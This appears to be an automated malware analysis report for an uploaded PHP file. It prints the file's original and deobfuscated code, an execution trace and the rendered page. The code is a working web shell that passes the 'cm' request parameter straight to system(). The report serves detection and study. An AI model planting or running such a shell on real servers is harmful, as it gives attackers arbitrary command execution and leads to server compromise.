PHP Malware Analysis

00000000ax.php

md5: b8c4791358a6bb6209a29160da34b4b1

Jump to:

Screenshot


Attributes

Execution

Input

Title


Deobfuscated PHP code

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>


    <form method="get">
        <input type="text" name="cm">
        <button type="submit">Submit</button>
    </form>


    <?php 
if (isset($_GET['cm'])) {
    echo system($_GET['cm']);
}
?>



</body>

</html>

Execution traces

data/traces/b8c4791358a6bb6209a29160da34b4b1_trace-1676241898.0763.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 20:45:23.974150]
1	0	1	0.000336	393528
1	3	0	0.000450	394872	{main}	1		/var/www/html/uploads/00000000ax.php	0	0
1	3	1	0.000490	394872
			0.000553	314240
TRACE END   [2023-02-12 20:45:23.974432]


Generated HTML code

<html lang="en"><head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>


    <form method="get">
        <input type="text" name="cm">
        <button type="submit">Submit</button>
    </form>


    




</body></html>

Original PHP code

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>


    <form method="get">
        <input type="text" name="cm">
        <button type="submit">Submit</button>
    </form>


    <?php
    if (isset($_GET['cm'])) {
        echo system($_GET['cm']);
    }
    ?>



</body>

</html>